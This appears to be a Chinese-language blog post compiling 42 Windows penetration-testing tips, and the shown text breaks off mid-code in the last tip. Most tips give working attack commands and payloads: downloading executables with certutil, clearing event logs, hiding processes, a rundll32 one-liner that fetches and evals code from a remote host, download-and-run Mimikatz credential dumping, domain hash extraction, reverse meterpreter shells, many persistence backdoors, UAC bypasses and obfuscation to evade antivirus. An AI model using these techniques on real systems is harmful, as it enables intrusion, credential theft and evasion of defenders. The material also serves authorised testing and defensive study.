<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    滲透技巧總結

    一顆小胡椒2022-01-28 21:33:52
    聲明

    以下技巧不應用于非法用途


    Tips 1. 手動端口探測

    nmap的-sV可以探測出服務版本,但有些情況下必須手動探測去驗證

    使用Wireshark獲取響應包未免大材小用,可通過nc簡單判斷

    eg.

    對于8001端口,nc連接上去,隨便輸入一個字符串,得到了以下結果:

    $ nc -vv localhost 8001  
    localhost [127.0.0.1] 8001 (?) open
    asd
    HTTP/1.1 400 Bad Request
    Date: Fri, 25 Aug 2017 12:15:25 GMT
    Server: Apache/2.4.23 (Debian)
    Content-Length: 301
    Connection: close
    Content-Type: text/html; charset=iso-8859-1
    400 Bad Request
    Bad Request
    Your browser sent a request that this server could not understand.
    

    Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001
    

    由此我們知道了這是一個http服務,因為我們發送的字符串不是一個合法的HTTP請求,因此返回一個400 Bad requests,我們還得到了系統的版本是Debian,WebServer是Apache

    參考:

    《談談端口探測的經驗與原理》


    Tips 2. Windows系統從Kali下載文件

    Kali:

    python -m SimpleHTTPServer 80
    

    Windows:

    certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
    certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
    

    參考:

    《滲透測試中的certutil.exe》


    Tips 3. 配置工作組計算機,使其支持net use遠程連接

    添加用戶:

    net user test test /add
    net localgroup administrators test /add
    

    修改注冊表,使其支持遠程連接:

    reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
    

    net use遠程連接:

    net use \\192.168.1.195 test /u:test
    

    Tips 4. Windows日志清除

    獲取日志分類列表:

    wevtutil el >1.txt
    

    獲取單個日志類別的統計信息:

    eg.

    wevtutil gli "windows powershell"
    

    回顯:

    creationTime: 2016-11-28T06:01:37.986Z
    lastAccessTime: 2016-11-28T06:01:37.986Z
    lastWriteTime: 2017-08-08T08:01:20.979Z
    fileSize: 1118208
    attributes: 32
    numberOfLogRecords: 1228
    oldestRecordNumber: 1
    

    查看指定日志的具體內容:

    wevtutil qe /f:text "windows powershell"
    

    刪除單個日志類別的所有信息:

    wevtutil cl "windows powershell"
    

    參考:

    《滲透技巧-Windows日志的刪除與繞過》


    Tips 5. 破壞Windows日志記錄功能

    通過調用TerminateThread結束實現日志功能的線程,使得日志記錄功能失效,但Windows Event Log服務沒有被破壞,狀態仍為正在運行

    Powershell:

    https://github.com/hlldz/Invoke-Phant0m

    C++:

    https://github.com/3gstudent/Windwos-EventLog-Bypass

    參考:

    《滲透技巧-Windows日志的刪除與繞過》

    《利用API-NtQueryInformationThread和I_QueryTagInformation實現對Windwos日志監控的繞過》


    Tips 6. Win7和Windows Server 2008 R2下的進程隱藏

    利用globalAPIhooks,通過修改注冊表實現

    下載工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz

    修改代碼指定要隱藏的程序名cldr.exe,編譯成cldr.dll,cldr.dll放在C:\ProgramData\Microsoft\HelpLibrary\

    管理員權限:

    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
    

    此時,任務管理器進程列表不存在cldr.exe,Process Explorer不存在cldr.exe,Tasklist.exe不存在cldr.exe

    對于64位系統:

    管理員權限:

    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
    reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
    

    參考:

    《利用globalAPIhooks在Win7系統下隱藏進程》


    Tips 7. 同名exe和com文件執行順序

    如果一個路徑下同時包含同名的exe和com文件,例如test.exe和test.com,通過命令行cmd輸入test(不包含文件后綴名),會優先運行com文件,即test.com

    而COM文件的生成只需要把exe文件的后綴名改為com即可

    參考:

    《A dirty way of tricking users to bypass UAC》


    Tips 8. Windows系統證書生成與注冊

    證書生成與簽名:

    makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
    cert2spc Root.cer Root.spc
    pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
    signtool sign /f Root.pfx /p 12345678password test.exe
    

    執行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四個文件,test.exe被加上數字簽名

    證書注冊:

    管理員權限cmd,將證書添加到localmachine:

    certmgr.exe -add -c Root.cer -s -r localmachine root
    

    參考:

    《A dirty way of tricking users to bypass UAC》


    Tips 9. hta執行vbs,加載powershell

    test.hta:

     
     
    <br style="outline: 0px;">    Set WshShell = CreateObject("WScript.Shell")<br style="outline: 0px;">    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="<br style="outline: 0px;">    WshShell.Run Connect, 4, true<br style="outline: 0px;">
    WINDOWSTATE = "minimize">
     
     
     
    

    參考:

    《Bypass McAfee Application Control——Code Execution》


    Tips 10. 通過c#編寫dll & 通過rundll32.exe或者regsvr32加載dll

    默認情況下,c#不可以聲明導出函數,但可通過添加UnmanagedExports實現

    當然,通過c#編寫的dll,dll需要在對應版本的.NET環境才能正常運行,通過c++編寫的dll更加通用

    通過rundll32.exe或者regsvr32能夠加載dll,但要求dll包含特定的導出函數

    參考:

    《Code Execution of Regsvr32.exe》


    Tips 11. Windows下cpl文件介紹

    本質上是DLL文件,后綴名為cpl,包含一個導出函數CPLApplet(c實現可不指定)

    執行方法:

    (1)雙擊直接運行

    (2)cmd

    rundll32 shell32.dll,Control_RunDLL test.cpl
    

    (3)cmd

    control test.cpl
    

    (4)vbs

    Dim obj
    Set obj = CreateObject("Shell.Application")
    obj.ControlPanelItem("test.cpl")
    

    (5)js

    var a = new ActiveXObject("Shell.Application");
    a.ControlPanelItem("c:\\test\\test.cpl");
    

    參考:

    《CPL文件利用介紹》


    Tips 12. Windows下通過cmd調用rundll32執行一段代碼彈回Shell

    Server:

    https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

    Client:

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
    

    當然,該RAT工具還可通過以下方法加載:

    vbs,js,exe,dll,shellcode

    參考:

    《JavaScript Backdoor》

    《JavaScript Phishing》


    Tips 13. 可通過內存dump還原出putty&pageant的密鑰

    windows和Linux均適用

    參考:

    《Memory Dump利用實例》


    Tips 14. 針對Visual Studio的釣魚利用

    Visual C++:

    • 修改.vcxproj文件

    Visual Basic:

    • 修改.vbproj文件

    Visual F#:

    • 修改.fsproj文件

    使用Visual Studio對以上任一工程編譯時,能夠執行任意代碼

    參考:

    《Pay close attention to your download code——Visual Studio trick to run code when building》


    Tips 15. 32位程序在64位Windows系統下執行的時候,如果有對注冊表和文件的操作,存在重定向

    對注冊表操作:

    訪問HKLM\Software\的實際路徑為HKLM\Software\Wow6432Node\

    對文件操作:

    訪問c:\windows\Sysnative\ 的實際路徑為 c:\windows\system32

    訪問c:\windows\system32\ 的實際路徑為 c:\windows\SysWOW64\

    參考:

    《關于32位程序在64位系統下運行中需要注意的重定向問題》


    Tips 16. 獲取Windows域控所有用戶hash

    方法1:

    復制ntds.dit:

    使用NinjaCopy,https://github.com/3gstudent/NinjaCopy

    導出hash:

    使用quarkspwdump,https://github.com/quarkslab/quarkspwdump

    esentutl /p /o ntds.dit
    QuarksPwDump.exe -dhb -hist -nt c:\testtds.dit -o c:\test\log.txt
    

    方法2:

    使用powershell:DSInternals PowerShell Module

    https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip

    適用條件:

    Windows PowerShell 3.0 or 3.0+

    .NET Framework 4.0 or 4.0+

    參考:

    《導出當前域內所有用戶hash的技術整理》

    《利用Powershell快速導出域控所有用戶Hash》


    Tips 17. 導出Windows系統明文口令

    Windows Server 2012默認無法使用mimikatz導出明文口令,部分Windows Server 2008也一樣

    解決方法:啟用Wdigest Auth

    cmd:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    or

    powershell:

    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    

    重啟或者用戶再次登錄,能夠導出明文口令

    參考:

    《域滲透——Dump Clear-Text Password after KB2871997 installed》


    Tips 18. 可通過Hook PasswordChangeNotify實時記錄域控管理員的新密碼

    當然,可選擇保存在本地或是將密碼上傳至服務器

    參考:

    《域滲透——Hook PasswordChangeNotify》


    Tips 19. 在域滲透時要記得留意域內主機的本地管理員賬號

    如果管理員疏忽,域內主機使用相同的本地管理員賬號,可以通過pass-the-hash遠程登錄域內其他主機

    參考:

    《域滲透——Local Administrator Password Solution》


    Tips 20. 通過powershell獲取dll的導出函數

    https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1

    Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt
    

    參考:

    《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》


    Tips 21. 快捷方式的參數隱藏技巧

    將payload放置在260個空字符之后,這樣無法在文件屬性查看payload,可以用來在快捷方式中隱藏payload,欺騙用戶點擊,隱蔽執行代碼

    參考:

    《滲透技巧——快捷方式文件的參數隱藏技巧》


    Tips 22. 32位程序能夠對64位進程進行遠程注入

    POC:

    https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp

    參考:

    《32位程序對64位進程的遠程注入實現》


    Tips 23. system權限的進程在某些情況下需要進行降權

    使用sytem權限的進程可能會遇到以下問題:

    1.無法獲得當前用戶的文件內容

    例如無法捕獲用戶的屏幕

    2.環境變量有差異

    因此需要降權到當前用戶

    降權方法1:使用SelectMyParent.exe

    代碼下載地址:https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp

    參考:

    《滲透技巧——程序的降權啟動》

    降權方法2:使用msdtc

    使用msdtc會以system權限加載oci.dll,但在管理員權限cmd執行:

    msdtc -install

    啟動的calc.exe為high權限

    參考:

    《Use msdtc to maintain persistence》


    Tips 24. 通過命令行能夠對Windows系統安裝WinPcap,這樣就可以在Windows跳板上使用nmap和Masscan

    參考:

    《滲透技巧——Windows平臺運行Masscan和Nmap》


    Tips 25. Windows平臺執行mimikatz的方法

    方法1:通過powershell

    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
    

    方法2:通過InstallUtil.exe

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
    

    參考:

    《利用白名單繞過360實例》

    《利用白名單繞過限制的更多測試》

    方法3:通過regsvr32.exe

    https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

    將mimikatz封裝到dll中,通過regsvr32傳入參數運行mimkatz

    rundll32 katz.dll,EntryPoint log coffee exit
    

    參考:

    《Code Execution of Regsvr32.exe》

    方法4:通過msbuild.exe

    下載xml文件,保存為a.xml:

    https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml

    cmd:

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml
    

    參考:

    《Use MSBuild To Do More》

    方法5:通過csi.exe

    "C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx
    

    參考:

    《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

    方法6:通過js/vbs腳本

    https://gist.github.com/subTee/5c636b8736530fb20c3d

    https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

    參考:

    《利用JS加載.Net程序》


    Tips 26. Windows系統中可供存儲和讀取payload的位置

    方法1:WMI

    存儲:

    $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
    $StaticClass.Name = 'Win32_Command'
    $StaticClass.Put()
    $StaticClass.Properties.Add('Command' , $Payload)
    $StaticClass.Put()
    

    讀取:

    $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
    

    參考:

    《WMI Backdoor》

    方法2:包含數字簽名的PE文件

    利用文件hash的算法缺陷,向PE文件中隱藏Payload,同時不影響該PE文件的數字簽名

    參考:

    《隱寫技巧-在PE文件的數字證書中隱藏Payload》

    方法3:特殊ADS

    (1)...

    type putty.exe > ...:putty.exe
    wmic process call create c:\test\ads\...:putty.exe
    

    (2)特殊COM文件

    type putty.exe > \\.\C:\test\ads\COM1:putty.exe
    wmic process call create \\.\C:\test\ads\COM1:putty.exe
    

    (3)磁盤根目錄

    type putty.exe >C:\:putty.exe 
    wmic process call create C:\:putty.exe
    

    參考:

    《Hidden Alternative Data Streams的進階利用技巧》


    Tips 27. Windows系統中值得搜集的信息

    (1)已注冊的WMI信息

    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list
    

    管理員也許會使用WMI記錄攻擊者調用WMI的操作,可通過wmic查看,當然通過wmic也能關閉該監控功能

    參考:

    《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》


    Tips 28. Windows系統反彈meterpreter的常用方法

    方法1:通過rundll32加載dll反彈meterpreter

    msf:

    msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
    

    生成a.dll,然后上傳至測試主機

    執行rundll32.exe a.dll,Control_RunDLL,即可上線

    方法2:通過cpl反彈meterpreter

    代碼見https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp

    生成dll,重命名為cpl,雙擊執行

    方法3:通過powershell反彈meterpreter

    https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1


    Tips 29. Windows系統加載dll的方法

    方法1:rundll32

    rundll32 a.dll,EntryPoint
    

    方法2:regsvr32

    regsvr32 a.dll
    

    參考:

    《Code Execution of Regsvr32.exe》

    方法3:odbcconf

    odbcconf.exe /a {regsvr c:\test\odbcconf.dll}
    

    參考:

    《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

    方法4:Tracker

    Tracker.exe /d test.dll /c svchost.exe
    

    tracker.exe包含微軟數字簽名,可繞過應用程序白名單的限制

    參考:

    《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

    方法5:Excel.Application object's RegisterXLL() method

    前提:已安裝Microsoft Office軟件

    1.rundll32

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();
    

    2.js

    var excel = new ActiveXObject("Excel.Application");
    excel.RegisterXLL("C:\\test\\messagebox.dll");
    

    3.powershell

    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    $excel.RegisterXLL("C:\test\messagebox.dll")
    

    參考:

    《Use Excel.Application object's RegisterXLL() method to load dll》

    方法6:xwizard.exe

    復制%windir%\system32\下的xwizard.exe至新目錄C:\x

    將msg.dll重命名為xwizards.dll,保存在C:\x

    命令行執行:

    xwizard processXMLFile 1.txt
    

    成功加載C:\x\xwizards.dll

    參考:

    《Use xwizard.exe to load dll》


    Tips 30. Windows Persistence

    方法1:bitsadmin

    bitsadmin /create backdoor
    bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
    bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
    bitsadmin /Resume backdoor
    

    參考:

    《Use bitsadmin to maintain persistence and bypass Autoruns》

    方法2:mof

    pragma namespace("\\\\.\\root\\subscription")    
    instance of __EventFilter as $EventFilter
    {
        EventNamespace = "Root\\Cimv2";
        Name  = "filtP1";
        Query = "Select * From __InstanceModificationEvent "
                "Where TargetInstance Isa \"Win32_LocalTime\" "
                "And TargetInstance.Second = 1";
        QueryLanguage = "WQL";
    };    
    instance of ActiveScriptEventConsumer as $Consumer
    {
        Name = "consP1";
        ScriptingEngine = "JScript";
        ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
    };    
    instance of __FilterToConsumerBinding
    {
        Consumer   = $Consumer;
        Filter = $EventFilter;
    };
    

    管理員權限:

    mofcomp test.mof
    

    參考:

    《WSC、JSRAT and WMI Backdoor》

    方法3:wmi

    每隔60秒執行一次notepad.exe

    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32otepad.exe",CommandLineTemplate="C:\Windows\System32otepad.exe"
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
    

    參考:

    《Study Notes of WMI Persistence using wmic.exe》

    方法4:Userland Persistence With Scheduled Tasks

    劫持計劃任務UserTask,在系統啟動時加載testmsg.dll

    操作如下:

    在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建項{58fb76b9-ac85-4e55-ac04-427593b1d060}

    接著新建項InprocServer32

    值設定為c:\test\testmsg.dll

    testmsg.dll包含如下導出函數:

    DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer

    等待用戶重新登錄

    參考:

    《Userland registry hijacking》

    方法5:Netsh

    helper DLL需要包含導出函數InitHelperDll

    管理員權限:

    netsh add helper c:\testetshtest.dll
    

    helper dll添加成功后,每次調用netsh,均會加載c:\testetshtest.dll

    參考:

    《Netsh persistence》

    方法6:Shim

    常用方式:

    • InjectDll
    • RedirectShortcut
    • RedirectEXE

    《滲透測試中的Application Compatibility Shims》

    方法7:dll劫持

    通過Rattler自動枚舉進程,檢測是否存在可用dll劫持利用的進程

    參考:

    《DLL劫持漏洞自動化識別工具Rattler測試》

    方法8:DoubleAgent

    編寫自定義Verifier provider DLL

    通過Application Verifier進行安裝

    注入到目標進程執行payload

    每當目標進程啟動,均會執行payload,相當于一個自啟動的方式

    參考:

    《滲透測試中的Application Verifier(DoubleAgent利用介紹)》

    方法9:waitfor.exe

    不支持自啟動,但可遠程主動激活,后臺進程顯示為waitfor.exe

    參考:

    《Use Waitfor.exe to maintain persistence》

    方法10:AppDomainManager

    針對.Net程序,通過修改AppDomainManager能夠劫持.Net程序的啟動過程。如果劫持了系統常見.Net程序如powershell.exe的啟動過程,向其添加payload,就能實現一種被動的后門觸發機制

    參考:

    《Use AppDomainManager to maintain persistence》

    方法11:Office加載項

    如果系統已安裝office軟件,可通過配置Office加載項實現劫持,作為被動后門

    常用利用方式:

    Word WLL

    Excel XLL

    Excel VBA add-ins

    PowerPoint VBA add-ins

    POC:https://github.com/3gstudent/Office-Persistence

    參考:

    《Use Office to maintain persistence》

    《Office Persistence on x64 operating system》

    方法12:CLR

    無需管理員權限的后門,并能夠劫持所有.Net程序

    POC:https://github.com/3gstudent/CLR-Injection

    參考:

    《Use CLR to maintain persistence》

    方法13:msdtc

    利用MSDTC服務加載dll,實現自啟動,并繞過Autoruns對啟動項的檢測

    參考:

    《Use msdtc to maintain persistence》

    方法14:Hijack CAccPropServicesClass and MMDeviceEnumerator

    不需要重啟系統,不需要管理員權限

    通過修改注冊表實現

    POC:https://github.com/3gstudent/COM-Object-hijacking

    參考:

    《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》

    方法15:Hijack explorer.exe

    不需要重啟系統,不需要管理員權限

    通過修改注冊表實現

    參考:

    《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》

    方法16:Windows FAX DLL Injection

    通過DLL劫持,劫持Explorer.exe對fxsst.dll的加載

    Explorer.exe在啟動時會加載c:\Windows\System32\fxsst.dll(服務默認開啟,用于傳真服務)

    將payload.dll保存在c:\Windows\fxsst.dll,能夠實現dll劫持,劫持Explorer.exe對fxsst.dll的加載

    方法17:劫持Office軟件的特定功能

    通過dll劫持,在Office軟件執行特定功能時觸發后門

    參考:

    《利用BDF向DLL文件植入后門》

    方法18:特殊注冊表鍵值

    在注冊表啟動項創建特殊名稱的注冊表鍵值,用戶正常情況下無法讀取(使用Win32 API),但系統能夠執行(使用Native API)

    參考:

    《滲透技巧——"隱藏"注冊表的創建》

    《滲透技巧——"隱藏"注冊表的更多測試》

    方法19:powershell配置文件

    修改powershell配置文件,后門在powershell進程啟動后觸發

    查看是否使用配置文件:

    Test-Path $profile
    

    創建配置文件:

    New-Item -Path $profile -Type File –Force
    

    修改配置文件內容,添加后門:

    $string = 'Start-Process "cmd.exe"'
    $string | Out-File -FilePath "C:\Users\a\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
    

    From:

    https://rastamouse.me/2018/03/a-view-of-persistence/


    Tips 31. UAC繞過

    方法1:use eventvwr.exe and registry hijacking

    適用:Win7,Win8.1,Win 10

    https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1

    參考:

    《Study Notes of WMI Persistence using wmic.exe》

    《Userland registry hijacking》

    方法2:use sdclt.exe

    適用Win10

    參考:

    《Study Notes of using sdclt.exe to bypass UAC》

    方法3:use SilentCleanup

    適用Win8,Win10

    reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
    schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
    

    參考:

    《Study Notes of using SilentCleanup to bypass UAC》

    方法4:use wscript.exe

    只適用于Win7

    https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1

    參考:

    《Empire中的Invoke-WScriptBypassUAC利用分析》

    方法5:use cmstp.exe

    https://msitpros.com/?p=3960

    適用于Win7

    方法5:修改環境變量,劫持高權限.Net程序

    適用Win7-Win10

    如gpedit.msc

    修改環境變量,利用CLR劫持gpedit.msc的啟動過程

    參考:

    《Use CLR to bypass UAC》

    方法6:修改注冊表HKCU\Software\Classes\CLSID,劫持高權限程序

    適用Win7-Win10

    • {B29D466A-857D-35BA-8712-A758861BFEA1}
    • {D5AB5662-131D-453D-88C8-9BBA87502ADE}
    • {0A29FF9E-7F9C-4437-8B11-F424491E3931}
    • {CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

    參考:

    《Use CLR to bypass UAC》


    Tips 32. Visual Studio生成的exe或是dll在其他系統使用,提示缺少相關DLL文件

    解放方法:

    將程序打包發布

    項目菜單->項目屬性,C/C++->代碼生成->運行庫,選擇多線程 (/MT)


    Tips 33. 使用LaZagne導出當前系統中常見應用存儲的密碼

    可以使用LaZagne導出當前系統中常見應用存儲的密碼(例如瀏覽器、Wifi、Git、Outlook等)

    https://github.com/AlessandroZ/LaZagne

    當然,也可以修改LaZagne源碼實現對其他應用的密碼導出

    參考:

    《本地密碼查看工具LaZagne中的自定義腳本開發》


    Tips 34. 使用powershell讀寫文件

    讀文本文件:

    $file = Get-Content "1.txt"
    

    寫文本文件:

    Set-content "1.txt"
    

    讀二進制文件:

    [System.IO.File]::ReadAllBytes('1.exe')
    

    寫二進制文件:

    [System.IO.File]::WriteAllBytes("1.exe",$fileContentBytes)
    

    Tips 35. powershell作base64編碼/解碼

    編碼:

    $encoded = [System.Convert]::ToBase64String($fileContent)
    

    解碼:

    $fileContent = [System.Convert]::FromBase64String($encoded)
    

    參考:

    《Study Notes of using BGInfo to bypass Application Whitelisting》


    Tips 36 如果powershell腳本被查殺,可以嘗試使用Invoke-Obfuscation進行混淆

    https://github.com/danielbohannon/Invoke-Obfuscation

    eg.

    設置要混淆的代碼:

    set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "
    

    輸入encoding

    輸入1,指定編碼為ascii

    得到混淆后的代碼:

    " $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE  'oFS'  ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')
    

    Tips 37 python腳本轉exe

    常見的兩種方法:

    • 使用py2exe
    • 使用PyInstaller

    使用方法和常見bug解決方法可參照參考鏈接

    參考:

    《本地密碼查看工具LaZagne中的自定義腳本開發》


    Tips 38 普通用戶權限向管理員權限的路徑下寫文件

    eg.

    以普通用戶權限向c:\windows文件夾下釋放文件

    makecab c:\test\test.exe %TMP%\1.tmp
    wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
    

    適用于Win7、Win8,學習自:

    https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1

    參考:

    《Empire中的Invoke-WScriptBypassUAC利用分析》


    Tips 39 在遠程系統上執行程序的方法匯總

    常用方法:

    • at
    • psexec
    • WMIC
    • wmiexec
    • smbexec
    • powershell remoting

    新方法:

    • DCOM

    參考:

    《域滲透——利用DCOM在遠程系統執行程序》


    Tips 40 尋找Windows系統中可被利用的服務

    枚舉Windows系統服務對應可執行文件的路徑,如果路徑包含普通用戶的寫權限,那么該服務可被用來提升權限

    powershell代碼:

    $ErrorActionPreference="SilentlyContinue"
    $out = (Get-WmiObject win32_service | select PathName)
    $out|% {[array]$global:path += $_.PathName}
    for($i=0;$i -le $out.Count-1;$i++)
    {
        $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
     	If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
    		If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
    			If($a.Owner -ne "BUILTIN\Administrators"){				
    				Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
    				Write-host Owner: $a.Owner
    			}	
    		}
        }
    }
    Write-host [+] All done.
    

    參考:

    《Use powershell to find a writable windows service》


    Tips 41 利用殺毒軟件的配置錯誤實現自啟動并優先于殺毒軟件執行

    Windows系統支持Logon Scripts,Logon Scripts是在系統啟動時執行,執行順序要優先于殺毒軟件,當然,殺毒軟件無法攔截Logon Scripts中腳本的操作(殺毒軟件尚未啟動)

    關鍵在于殺毒軟件會不會攔截Logon Scripts的配置使用

    使用特殊操作添加Logon Scripts,殺毒軟件不會攔截

    注:

    以上提到的殺毒軟件是指“部分”殺毒軟件,并不通用

    參考:

    《Use Logon Scripts to maintain persistence》


    Tips 42 編譯c#程序注意事項

    使用Visual Studio:

    項目名要同namespace指定的名稱對應,如果不對應,可在項目-屬性-程序集名稱中修改,否則生成的dll無法使用

    使用csc.exe:

    eg.

    using System;
    using System.Diagnostics;
